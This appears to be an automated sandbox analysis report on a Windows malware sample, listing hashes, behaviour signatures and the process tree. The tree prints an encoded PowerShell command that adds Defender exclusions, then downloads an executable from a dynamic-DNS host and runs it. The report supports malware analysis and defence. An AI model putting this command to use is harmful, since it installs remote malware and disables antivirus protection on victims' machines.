4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
01/05/2024, 01:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe
Size

4KB
MD5

384c55be00f60c694324e8cb3a47d4a0
SHA1

95f3cd83415d33899ecf825516a5c50cf5f3c389
SHA256

4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1
SHA512

dd9a9358e85afd59e2ec0f7c161dce514b88dd13f594f70ec35cdbf8d1af655f5f1063fe9a5411fff98482ae9ff753798e05d35c845780156225eef54b1d6d23
SSDEEP

96:xTd8EYaWxlX4Aw0nlqrZ9FxW5d3ojLrl:xuEYaWxlX4AfleZ9FE5dg

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2948	2784	4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe	28
PID 2784 wrote to memory of 2948	2784	4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe	28
PID 2784 wrote to memory of 2948	2784	4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe	28
PID 2784 wrote to memory of 2948	2784	4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe	28

C:\Users\Admin\AppData\Local\Temp\4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe
"C:\Users\Admin\AppData\Local\Temp\4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAawBlACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBuAGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgB3AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQB1AGkAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAdwBvAHIAawBzAGUAcgB2AGUAcgAuAGQAZABuAHMALgBuAGUAdAAvAFAAbwBnAGkAbgBnAGUAdABjAC4AZQB4AGUAJwAsACAAPAAjAHYAaQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbQB0AHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdgB3AHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABvAGcAaQBuAGcAZQB0AGMALgBlAHgAZQAnACkAKQA8ACMAbQByAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAegBsAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGEAaABjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAAbwBnAGkAbgBnAGUAdABjAC4AZQB4AGUAJwApADwAIwBnAHMAawAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads